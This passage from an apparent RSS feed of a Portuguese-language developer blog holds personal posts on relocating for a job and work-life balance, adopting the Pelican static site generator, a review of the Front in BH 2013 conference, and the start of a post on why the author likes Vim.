aconteceu comigo logo no meu primeiro dia de &lt;em&gt;Globo.com&lt;/em&gt;. Quando você passa a
conviver com pessoas mais inteligentes (as experientes e maduras, não as
&quot;exibicionistas&quot;) a sua falta de vivência fica tão evidente que você é
obrigado a se posicionar para resolver este problema.&lt;/p&gt;
&lt;p&gt;É fácil ter um olho em terra de cego, quero ver você se virar em terra
de &lt;a href=&quot;http://pt.wikipedia.org/wiki/Beholder&quot; title=&quot;No RPG, você nunca irá querer se deparar com um Beholder&quot;&gt;beholder&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;... mas não se subestime&lt;/h3&gt;
&lt;p&gt;Humildade é sempre bom, mas você deve se dar o valor. E isso é para qualquer
coisa na vida.&lt;/p&gt;
&lt;p&gt;Ser mais &quot;aguerrido&quot; em uma discussão se faz necessário para a tomada de
decisão, principalmente se você não acredita na decisão que está prestes a ser
tomada. Você possui a sua experiência, a sua gama de conhecimento, e &lt;strong&gt;deve&lt;/strong&gt;
articular argumentos para defender o seu ponto de vista.&lt;/p&gt;
&lt;p&gt;Nunca deixe que &quot;os anos de casa&quot; do seu colega sejam o diferencial para uma
batida de martelo, muito menos que o grau de instrução te
intimide perante o &quot;embate&quot;. Os argumentos sim, esses devem ser o diferencial.&lt;/p&gt;
&lt;p&gt;As vezes optamos pelo silêncio, alegando que estamos &quot;respeitando&quot; a opinião
dos demais. Mas o que você enxerga como &quot;respeito&quot;, o seu gerente/superior
pode enxergar como &quot;covardia&quot;. Sempre tenha a sua opinião (mas esteja apto a
mudá-la quando necessário) e use bons argumentos para defendê-la (mas seja
educado).&lt;/p&gt;
&lt;p&gt;Você não está em um campo de batalha, muito menos em um monastério fazendo
voto de silêncio.&lt;/p&gt;
&lt;h2&gt;Só trabalho sem diversão faz de Jack um bobão&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 612px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/55909e0479277a1825437a2dddf66ae9/a18e1/iluminado.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 48.958333333333336%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAMCBAX/xAAWAQEBAQAAAAAAAAAAAAAAAAACAAH/2gAMAwEAAhADEAAAAcVg0usTMv/EABsQAAIBBQAAAAAAAAAAAAAAAAABAgMQETEz/9oACAEBAAEFAnlFSSdpbXA//8QAFREBAQAAAAAAAAAAAAAAAAAAABH/2gAIAQMBAT8BR//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABgQAAMBAQAAAAAAAAAAAAAAAAABAhAx/9oACAEBAAY/AhKTgis//8QAGhABAAIDAQAAAAAAAAAAAAAAAQAREDFBUf/aAAgBAQABPyFpfsWByF4MGjTOE//aAAwDAQACAAMAAAAQQO//xAAVEQEBAAAAAAAAAAAAAAAAAAAQEf/aAAgBAwEBPxCD/8QAFhEBAQEAAAAAAAAAAAAAAAAAABFR/9oACAECAQE/EMV//8QAGhABAAMBAQEAAAAAAAAAAAAAAQARITFBkf/aAAgBAQABPxAEwONgoArfmwk6d8YRBLIpULg1zYPwn//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Adapt! Jack, de O Iluminado&amp;quot;&quot;
        title=&quot;Adapt! Jack, de O Iluminado&quot;
        src=&quot;/static/55909e0479277a1825437a2dddf66ae9/a18e1/iluminado.jpg&quot;
        srcset=&quot;/static/55909e0479277a1825437a2dddf66ae9/7809d/iluminado.jpg 192w,
/static/55909e0479277a1825437a2dddf66ae9/4ecad/iluminado.jpg 384w,
/static/55909e0479277a1825437a2dddf66ae9/a18e1/iluminado.jpg 612w&quot;
        sizes=&quot;(max-width: 612px) 100vw, 612px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Adapt! Jack, de O Iluminado&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;É sempre bom lembrar: &lt;strong&gt;Não mude-se sem um tostão no bolso!&lt;/strong&gt; Tenha uma
reserva, e que ela seja uma &quot;senhora reserva&quot;. Tenho certeza que ela será
muito útil nos primeiros meses da sua nova vida, principalmente para lidar
com aquele cheque caução do aluguel.&lt;/p&gt;
&lt;p&gt;Em contrapartida, &lt;strong&gt;não torne-se escravo do trabalho&lt;/strong&gt;. Mesmo na ausência
de &quot;distrações&quot; como família, amigos, namorada, cachorro, papagaio, televisão,
vídeo game, entre outros, não use 100% do seu tempo trabalhando. Mesmo que
você tenha se mudado exclusivamente por causa do trabalho (meu caso), tenha
momentos de lazer.&lt;/p&gt;
&lt;p&gt;Quando me mudei, percebi que precisava estudar uma porção de conceitos e
tecnologias utilizadas pelo time que eu ingressara. &quot;Coisas&quot; das quais não
aprendi na escola, curso técnico ou faculdade, mas que eles sim. Logo, passei
a investir quase a totalidade do meu tempo livre para aprender estes
conceitos, descobrir como usar essas tecnologias, qual a melhor forma de
empregar determinado padrão. Só assim eu seria capaz de acompanhá-los durante
o percorrer do projeto, certo?&lt;/p&gt;
&lt;p&gt;A intenção foi nobre, a disciplina foi notória, mas os resultados nem tanto.
Passado pouco mais de um ano, eu quase perdera total contato com a minha família, não me
alimentava direito, mal saia de casa e o meu rendimento no trabalho não
passava de razoável. O &quot;saco cheio&quot; foi tanto, que por muitas ocasiões
cogitei arrumar a minha mala (sim, uma só) e voltar correndo para a minha
zona de conforto.&lt;/p&gt;
&lt;p&gt;Conheça os seus limites, determine um valor para o seu tempo, crie um
coeficiente de felicidade e busque o &lt;strong&gt;equilíbrio&lt;/strong&gt; entre a sua vida pessoal e
profissional.&lt;/p&gt;
&lt;h2&gt;Para concluir&lt;/h2&gt;
&lt;p&gt;A experiência poderia ter sido melhor, isso é fato. Enfatizo novamente a
falta de equilíbrio, e também a perda de um estabelecimento de prioridades
entre minha vida pessoal e profissional.&lt;/p&gt;
&lt;p&gt;Mas se me perguntarem se me arrependo de ter tomado esta decisão, há 3 anos
atrás, eu respondo sem pestanejar: Não! E faria de novo se tivesse a
oportunidade.&lt;/p&gt;
&lt;p&gt;Em tempo, recomendo este peculiar artigo do Papo de Homem, sobre morar
sozinho: &lt;a href=&quot;http://papodehomem.com.br/o-que-ninguem-conta-sobre-morar-sozinho/&quot; title=&quot;O que ninguém conta sobre morar sozinho&quot;&gt;&lt;em&gt;O que ninguém conta sobre morar sozinho&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Pelican e os static site generators]]></title><description><![CDATA[O Django é de longe o meu framework Python favorito. Fácil,
extensível, com uma série de "baterias inclusas" que tornam o desenvolvimento
de…]]></description><link>https://klauslaube.com.br/2014/03/26/pelican-e-os-static-site-generators.html</link><guid isPermaLink="false">https://klauslaube.com.br/2014/03/26/pelican-e-os-static-site-generators.html</guid><pubDate>Wed, 26 Mar 2014 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;O &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt; é de longe o meu &lt;em&gt;framework&lt;/em&gt; &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; favorito. Fácil,
extensível, com uma série de &quot;baterias inclusas&quot; que tornam o desenvolvimento
de aplicações &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt; muito mais fácil e divertido.&lt;/p&gt;
&lt;p&gt;Mas verdade seja dita, para algumas soluções, é como se utilizássemos um
canhão para matar um mosquito. Existe toda uma preocupação no que diz respeito
a persistência, &lt;a href=&quot;/tag/cache.html&quot; title=&quot;Leia mais sobre Cache&quot;&gt;&lt;em&gt;caching&lt;/em&gt;&lt;/a&gt;, serviço de aplicação e serviço &lt;em&gt;Web&lt;/em&gt;, que em
determinados contextos não passa de &quot;overhead&quot;.&lt;/p&gt;
&lt;p&gt;Foi em cima dessa linha de pensamento que resolvi abandonar a &lt;em&gt;engine&lt;/em&gt; de
&lt;em&gt;blog&lt;/em&gt; &lt;a href=&quot;https://bitbucket.org/semente/django-diario&quot; title=&quot;Conheça a engine de blogs escrita em Python e Django&quot;&gt;&lt;em&gt;django-diario&lt;/em&gt;&lt;/a&gt;, e me aventurar pelo mundo dos geradores de sites
estáticos.&lt;/p&gt;
&lt;h2&gt;Por que um static site generator?&lt;/h2&gt;
&lt;p&gt;Geradores de sites estáticos não são nenhuma novidade, e
&lt;a href=&quot;http://staticsitegenerators.net/&quot; title=&quot;The definitive listing of Static Site Generators&quot;&gt;existem aos montes&lt;/a&gt;. Seja em &lt;a href=&quot;http://jekyllrb.com/&quot; title=&quot;Transform your plain text into static websites and blogs&quot;&gt;&lt;em&gt;Ruby&lt;/em&gt;&lt;/a&gt;, &lt;a href=&quot;http://docpad.org/&quot; title=&quot;Designers and developers can create websites faster than ever before&quot;&gt;&lt;em&gt;Node.js&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;http://dropplets.com/&quot; title=&quot;A fresh platform dedicated to making blogging simple again&quot;&gt;&lt;em&gt;PHP&lt;/em&gt;&lt;/a&gt; ou até mesmo em &lt;a href=&quot;http://ikiwiki.info/&quot; title=&quot;Ikiwiki is a wiki compiler. It converts wiki pages into HTML pages suitable for publishing on a website&quot;&gt;&lt;em&gt;Perl&lt;/em&gt;&lt;/a&gt;, a sua popularidade é notória e no mínimo
curiosa.&lt;/p&gt;
&lt;p&gt;Alguns amam, &lt;a href=&quot;http://blog.millermedeiros.com/static-site-generators/&quot; title=&quot;Static site generators&quot;&gt;outros odeiam&lt;/a&gt;. A verdade é que (uma vez a sua ferramenta
devidamente configurada) eles tornam a publicação de conteúdo muito simples:
Basta pegar o &lt;a href=&quot;/tag/html5.html&quot; title=&quot;Leia mais sobre HTML&quot;&gt;&lt;em&gt;HTML&lt;/em&gt;&lt;/a&gt; gerado e jogar no seu servidor favorito, podendo
inclusive ser aquela sua hospedagem nacional, que mal funciona e que você sonha
um dia ter suporte a &lt;em&gt;Python 3&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Já passei por problemas com indisponibilidade de banco de dados, &lt;em&gt;websites&lt;/em&gt;
invadidos por falhas de segurança em aplicações como &lt;em&gt;Joomla!&lt;/em&gt; e &lt;em&gt;Wordpress&lt;/em&gt;,
e nem vou mencionar as dores de cabeça que já tive para configurar um servidor
&lt;a href=&quot;/2012/11/02/entendendo-o-cgi-fastcgi-e-wsgi.html&quot; title=&quot;Entendendo o CGI, FastCGI e o WSGI&quot;&gt;&lt;em&gt;WSGI&lt;/em&gt;&lt;/a&gt; dentro de uma hospedagem.&lt;/p&gt;
&lt;p&gt;Com ferramentas como o &lt;a href=&quot;http://docs.getpelican.com/&quot; title=&quot;Pelican is a static site generator, written in Python&quot;&gt;&lt;em&gt;Pelican&lt;/em&gt;&lt;/a&gt; esses problemas deixam de existir. A
persistência é feita no seu próprio disco, o que é ótimo, já que você pode
manter o seu &lt;em&gt;blog&lt;/em&gt; inteiro (inclusive o seu conteúdo) versionado no
&lt;a href=&quot;https://github.com/kplaube/blog&quot; title=&quot;Contribua com o código deste blog!&quot;&gt;&lt;em&gt;GitHub&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Não estamos &quot;regredindo&quot; para um &lt;em&gt;web&lt;/em&gt; estática, estamos apenas explorando
diferentes meios para publicação de conteúdo :)&lt;/p&gt;
&lt;h2&gt;Pelican FTW!&lt;/h2&gt;
&lt;p&gt;Por que &lt;em&gt;Pelican&lt;/em&gt;? Porque é feito em &lt;em&gt;Python&lt;/em&gt;. Simples assim.&lt;/p&gt;
&lt;p&gt;Foi a primeira ferramenta que encontrei feita na linguagem, e desde lá venho
explorando as suas funcionalidades. Logo, seria hipocrisia dar qualquer
resposta diferente desta.&lt;/p&gt;
&lt;p&gt;É claro que a ferramenta possui seus atrativos, a começar pela ótima
integração com o &lt;a href=&quot;http://jinja.pocoo.org/docs/&quot; title=&quot;Jinja2 is a modern and designer friendly templating language for Python, modelled after Django’s templates&quot;&gt;&lt;em&gt;Jinja2&lt;/em&gt;&lt;/a&gt;, que torna o processo de criação dos temas muito
mais fácil e intuitivo. Estender o &lt;em&gt;Pelican&lt;/em&gt; &lt;a href=&quot;http://docs.getpelican.com/en/3.3.0/plugins.html#how-to-create-plugins&quot; title=&quot;Como criar plugins para o Pelican&quot;&gt;é simples&lt;/a&gt;, embora
ele já possua uma série de &lt;a href=&quot;https://github.com/getpelican/pelican-plugins&quot; title=&quot;A bunch of plugins for the pelican blog engine.&quot;&gt;&lt;em&gt;plugins&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;https://github.com/getpelican/pelican-themes&quot; title=&quot;Themes for pelican&quot;&gt;temas&lt;/a&gt; para diferentes fins,
prontinhos para uso.&lt;/p&gt;
&lt;p&gt;Nesse processo &lt;a href=&quot;https://github.com/kplaube/maggner-pelican&quot; title=&quot;Contribua com o Maggner-Pelican&quot;&gt;escrevi um tema&lt;/a&gt; para o &lt;em&gt;blog&lt;/em&gt;, e tendo escrito
&lt;em&gt;templates&lt;/em&gt; para &lt;em&gt;Joomla!&lt;/em&gt;, &lt;em&gt;Wordpress&lt;/em&gt; e até mesmo &lt;em&gt;Django&lt;/em&gt;, sou obrigado a
dizer: É muito, muito mais simples!&lt;/p&gt;
&lt;p&gt;Além de ser fácil de usar, a ferramenta &lt;strong&gt;pelican-quickstart&lt;/strong&gt; te entrega logo
de cara uma estrutura de projeto bem consistente, incluindo &lt;em&gt;tasks&lt;/em&gt; de
publicação através de &lt;em&gt;Makefile&lt;/em&gt; e &lt;a href=&quot;/2012/02/26/automatize-o-deploy-dos-seus-projetos-com-fabric.html&quot; title=&quot;Automatize o deploy dos seus projetos com Fabric&quot;&gt;&lt;em&gt;Fabric&lt;/em&gt;&lt;/a&gt;. É configurar o seu
&lt;strong&gt;pelicanconf.py&lt;/strong&gt;, escolher o seu tema preferido, e sair usando.&lt;/p&gt;
&lt;p&gt;Lembro de começar a usar o &lt;em&gt;Pelican&lt;/em&gt; antes da sua versão &lt;strong&gt;3.3&lt;/strong&gt;, e foi uma
tremenda dor de cabeça. Essa última versão está mais &quot;redonda&quot;, sua
documentação abrange muito bem os passos de escrita conteúdo e criação de temas.&lt;/p&gt;
&lt;p&gt;Minha maior crítica fica na fraca solução dada para instalação e gerência de
temas e &lt;em&gt;plugins&lt;/em&gt;. Fico na esperança de alguma boa alma chegar com uma ideia
muito boa para resolver esse problema.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Hype&lt;/em&gt; ou não, os &lt;em&gt;static site generators&lt;/em&gt; possuem sim o seu valor. Se você
está querendo blogar, ou está cansado de lidar com aquele seu &lt;em&gt;Wordpress&lt;/em&gt; que
mais parece um elefante branco, considere utilizar uma dessas ferramentas.&lt;/p&gt;
&lt;p&gt;E se você é pythonista, considere utilizar o &lt;em&gt;Pelican&lt;/em&gt;. Quanto mais gente
talentosa estendendo-o, melhor ele ficará!&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Opinião: Front in BH 2013]]></title><description><![CDATA[No dia 03 de agosto de 2013, tive o prazer de participar do Front in BH,
edição 2013. Organizado pelo @davidsonfellipe e @keppelen, o evento…]]></description><link>https://klauslaube.com.br/2013/08/05/opiniao-front-bh-2013.html</link><guid isPermaLink="false">https://klauslaube.com.br/2013/08/05/opiniao-front-bh-2013.html</guid><pubDate>Mon, 05 Aug 2013 15:39:45 GMT</pubDate><content:encoded>&lt;p&gt;No dia 03 de agosto de 2013, tive o prazer de participar do &lt;a href=&quot;http://frontinbh.com.br/&quot; title=&quot;O Maior evento de Front-end do Brasil&quot;&gt;&lt;em&gt;Front in BH&lt;/em&gt;&lt;/a&gt;,
edição 2013. Organizado pelo &lt;a href=&quot;https://twitter.com/davidsonfellipe&quot; title=&quot;Siga o Davidson no Twitter&quot;&gt;&lt;em&gt;@davidsonfellipe&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;https://twitter.com/keppelen&quot; title=&quot;Siga o Giovanni no Twitter&quot;&gt;&lt;em&gt;@keppelen&lt;/em&gt;&lt;/a&gt;, o evento
contou com palestrantes de peso e com uma organização que, além de
surpreendente, tirou um &quot;gosto ruim&quot; que eu tinha em relação a eventos
de &lt;em&gt;front-end&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Descontraído porém relevante. Talvez essa seja a melhor definição para esta
edição. Não participei das anteriores, mas os &lt;em&gt;feedbacks&lt;/em&gt; positivos são
suficientes para adicionar o &lt;em&gt;Front in BH&lt;/em&gt; na minha agenda de eventos para o
próximo ano.&lt;/p&gt;
&lt;h2&gt;Expectativas&lt;/h2&gt;
&lt;p&gt;Talvez eu tenha gostado tanto do &lt;em&gt;Front in BH&lt;/em&gt; por ter controlado as minhas
expectativas. Em alguns eventos que fui recentemente, me senti mais em um show
de &lt;em&gt;stand up comedy&lt;/em&gt; ruim do que em um evento de tecnologia. Não que os
palestrantes precisem ser totalmente sérios, mas a última coisa que nós como
público precisamos é ficar aturando piadas ruins.&lt;/p&gt;
&lt;p&gt;Entrei pelos portões do &lt;em&gt;Teatro Ney Soares&lt;/em&gt; sem nem mesmo saber os tópicos que
seriam discutidos. Fui para prestigiar o trabalho de alguns camaradas, e não
me arrependi.&lt;/p&gt;
&lt;h2&gt;Resultados&lt;/h2&gt;
&lt;p&gt;A verdade é que este evento teve conteúdo e humor em uma dosagem equilibrada.
O &lt;a href=&quot;https://twitter.com/bernarddeluna&quot; title=&quot;Siga o Bernard no Twitter&quot;&gt;&lt;em&gt;@bernarddeluna&lt;/em&gt;&lt;/a&gt; e o &lt;a href=&quot;https://twitter.com/zenorocha&quot; title=&quot;Siga o Zeno no Twitter&quot;&gt;&lt;em&gt;@zenorocha&lt;/em&gt;&lt;/a&gt; mandaram muito bem nos intervalos
entre as palestras, deixando o público &quot;aceso&quot; e acredito que quebrando um
pouco do &quot;gelo&quot; entre público e palestrante.&lt;/p&gt;
&lt;p&gt;Na minha opinião a palestra matadora foi a do &lt;a href=&quot;https://twitter.com/sergio_caelum&quot; title=&quot;Siga o Sérgio no Twitter&quot;&gt;&lt;em&gt;@sergio_caelum&lt;/em&gt;&lt;/a&gt;, com o título
&quot;Repensando o front-end para telas de alta resolução&quot;. É o tipo de discussão
que cabe em qualquer evento sobre desenvolvimento &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;Web&lt;/em&gt;&lt;/a&gt;.
Muito boa a &quot;performance&quot; do palestrante, fora que o conteúdo apresentado foi
excepcional.&lt;/p&gt;
&lt;p&gt;Um ponto que vale observar: Estamos preocupados, tanto no &lt;em&gt;back-end&lt;/em&gt; quanto
no &lt;em&gt;front-end&lt;/em&gt;, com &lt;a href=&quot;/tag/testes.html&quot; title=&quot;Leia mais sobre testes&quot;&gt;automatização de testes&lt;/a&gt;. As palestras do
&lt;a href=&quot;https://twitter.com/cironunesdev&quot; title=&quot;Siga o Ciro no Twitter&quot;&gt;&lt;em&gt;@cironunesdev&lt;/em&gt;&lt;/a&gt; e do &lt;a href=&quot;https://twitter.com/andrewsmedina&quot; title=&quot;Siga o Andrews no Twitter&quot;&gt;&lt;em&gt;@andrewsmedina&lt;/em&gt;&lt;/a&gt; foram o suficiente para apontar
caminhos no que diz respeito a testes &lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt; e de interfaces.&lt;/p&gt;
&lt;p&gt;As palestras foram muito boas. O que prova que qualidade sempre traz maiores
benefícios que a quantidade.&lt;/p&gt;
&lt;h2&gt;Considerações Finais&lt;/h2&gt;
&lt;p&gt;Um evento bem organizado, dinâmico e extremamente relevante. Se você é
&lt;em&gt;front-end&lt;/em&gt; e tem disponibilidade de ir a &lt;em&gt;BH&lt;/em&gt;, é obrigação sua participar da
próxima edição do &lt;em&gt;Front in BH&lt;/em&gt;. É visível que foi feito com cuidado e
carinho, e é uma ótima oportunidade para você conhecer excelentes
profissionais da área.&lt;/p&gt;
&lt;p&gt;Até a próxima...&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Vim: O meu editor favorito]]></title><description><![CDATA[Há um bom tempo que eu trabalho com o Vim,
tanto tempo que quando estou em qualquer outro editor escrevo 
para salvar e sair. Mas não…]]></description><link>https://klauslaube.com.br/2013/03/04/vim-o-meu-editor-favorito.html</link><guid isPermaLink="false">https://klauslaube.com.br/2013/03/04/vim-o-meu-editor-favorito.html</guid><pubDate>Mon, 04 Mar 2013 22:34:38 GMT</pubDate><content:encoded>&lt;p&gt;Há um bom tempo que eu trabalho com o &lt;a href=&quot;http://www.vim.org/&quot; title=&quot;Página oficial do Vim&quot;&gt;&lt;em&gt;Vim&lt;/em&gt;&lt;/a&gt;,
tanto tempo que quando estou em qualquer outro editor escrevo &lt;code class=&quot;language-text&quot;&gt;:wq&lt;/code&gt;
para salvar e sair.&lt;/p&gt;
&lt;p&gt;Mas não comecei a utilizar o &lt;em&gt;Vim&lt;/em&gt; por gostar de desafios… foi pura
necessidade! Trabalhei em uma empresa onde desenvolvíamos em uma máquina
remota, através de linha de comando. Logo, entre o &lt;em&gt;Vim&lt;/em&gt; e &lt;em&gt;Emacs&lt;/em&gt; (ou
ficar subindo arquivos via &lt;em&gt;FTP&lt;/em&gt; ou &lt;em&gt;SSH&lt;/em&gt;), optei pelo mais fácil de
usar. É claro que no início eu não conseguia encontrar facilidade de
jeito nenhum. Navegar pelas teclas &lt;code class=&quot;language-text&quot;&gt;h&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;j&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;k&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;l&lt;/code&gt; não fazia
sentido nenhum para mim, sem falar que (segundo os meus colegas de
trabalho) utilizar o &lt;code class=&quot;language-text&quot;&gt;PageUp&lt;/code&gt; , &lt;code class=&quot;language-text&quot;&gt;PageDown&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Home&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;End&lt;/code&gt; era
praticamente uma heresia.&lt;/p&gt;
&lt;p&gt;Mas aos poucos o editor foi conquistando a minha simpatia, e foi me
mostrando as suas principais virtudes em relação a outras aplicações. É
fato que não sou nenhum “guru” no assunto, mas me sinto na obrigação de
compartilhar alguns dos pontos que mais me chamaram a atenção com o uso
do &lt;em&gt;Vim&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Todas as teclas ao alcance das mãos&lt;/h2&gt;
&lt;p&gt;Não vou contar a &lt;a href=&quot;http://en.wikipedia.org/wiki/Vim_(text_editor)&quot; title=&quot;Leia mais sobre o Vim na Wikipedia&quot;&gt;história do &lt;em&gt;Vim&lt;/em&gt;&lt;/a&gt;, muito menos ficar explicando
como &lt;a href=&quot;http://aurelio.net/vim/&quot; title=&quot;o site do Aurélio é um dos melhores locais para se aprender Vim&quot;&gt;utilizar a ferramenta&lt;/a&gt;. Eu vou simplesmente apresentar os
motivos pelo qual eu gosto desse simpático editor de textos.&lt;/p&gt;
&lt;p&gt;A principal vantagem em usar o &lt;em&gt;Vim&lt;/em&gt; é que você tem controle total sobre
o conteúdo, sem necessitar movimentar muito as suas mãos. O uso de
&lt;em&gt;mouse&lt;/em&gt; é totalmente dispensável, sem falar da interface gráfica. Hoje,
com variações como o &lt;em&gt;Gvim&lt;/em&gt;, &lt;em&gt;MacVim&lt;/em&gt; e &lt;em&gt;Pida&lt;/em&gt;, temos algumas
facilidades e melhorias na experiência de uso (principalmente pelo uso
da &lt;em&gt;GUI&lt;/em&gt;), em relação ao “&lt;em&gt;Vim&lt;/em&gt; puro”, que tornam o dia-a-dia muito mais
fácil e prático.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 600px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/3af7977c8baba7c273413ef8410cdbd0/0a47e/vim-layout.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 33.33333333333333%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAACPUlEQVQozw2N30sTAQDHv3fbgVg2K5nV7GaiM8mQth4MhaREfIuesggiiYKgKH9VE7ZJQZhUqFgRMjRSk8OGxmRtt93dtP1y293NdJHZ7vzVQ/gQ/gHXHj7w4fPyQWoVTbKnEdpWAx6sWmHJWlG9ewaVeT+3dhbGXSvG0jYE/lhh2M73X1YYVyzAOoC/wL4fBOqzxWjli3CILSDhf29zf7VfebIcNvW1sbTzcJ5S8bjLGDA7TnEWJyWaXf1e2vkxTjt0sXznaUeR75gTAlxIko5CTu8oX9z/1DZpMiCUnwzN3g4uzb3Y8Ahd6rNgt9LJdyuvFnrUfr5DuRW+owxGu9SIYFcX/A+3XnKdmyPCo5w92qbURqCaZF3uhM+gPB+p27FMkc2IoRzDDOoiAn6aPVQafl0aIb00Ng+R85alL3vvyvbQwczCF6xqDLWyxpLL2YAhtf72tDyQKJDPC6SICFJ5VmrEmlx7oH0PnjemA+I8/BOzEN95dUmG1ae6g+TS0ZAhGZ5oSfW6i+XmUWQfu/XZax5Cqp+j0tFPxkwvQyw3ThSkXXyPejV03XkzcaNCm9ZsYLUuiD56ZDFgzYTnydgah7grjHhFHImhgbL4/cEjSfs48b3JTWaqPlCS/XWp3DtaIvUNl0gXJ0mp8lvZbBVX03Ah3AptXAM4VsIUE7nHssJegMdvdrJUSQzVbuSCUFv8yBV6sa0xxI7vM7HdwVEblxh60zNtVvkZWkGW+IcoWowJGtXRk1RyJkn8BzBzCept2ZeRAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Teclas do VIM&amp;quot;&quot;
        title=&quot;Teclas do VIM&quot;
        src=&quot;/static/3af7977c8baba7c273413ef8410cdbd0/0a47e/vim-layout.png&quot;
        srcset=&quot;/static/3af7977c8baba7c273413ef8410cdbd0/8514f/vim-layout.png 192w,
/static/3af7977c8baba7c273413ef8410cdbd0/804b2/vim-layout.png 384w,
/static/3af7977c8baba7c273413ef8410cdbd0/0a47e/vim-layout.png 600w&quot;
        sizes=&quot;(max-width: 600px) 100vw, 600px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Teclas do VIM&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Outro ponto interessante é que seja no &lt;em&gt;Linux&lt;/em&gt;, &lt;em&gt;Mac&lt;/em&gt; ou &lt;em&gt;Windows&lt;/em&gt;, a
experiência básica é a mesma. Você “sofre” menos com o &lt;em&gt;layout&lt;/em&gt; do
teclado, principalmente pelo fato do editor “abolir” o uso de
direcionais, e manter a experiência mais “uniforme” independentemente da
plataforma.&lt;/p&gt;
&lt;h2&gt;Customizações&lt;/h2&gt;
&lt;p&gt;Outra característica muito importante do &lt;em&gt;Vim&lt;/em&gt; é a sua customização. É
possível alterar desde comportamentos básicos como fonte de texto,
cores, teclas de atalho e navegação, até comportamentos mais avançados
como a &lt;a href=&quot;http://net.tutsplus.com/tutorials/other/vim-essential-plugin-nerdtree/&quot; title=&quot;Conheça o NerdTree&quot;&gt;exibição de uma árvore de arquivos&lt;/a&gt;.&lt;/p&gt;
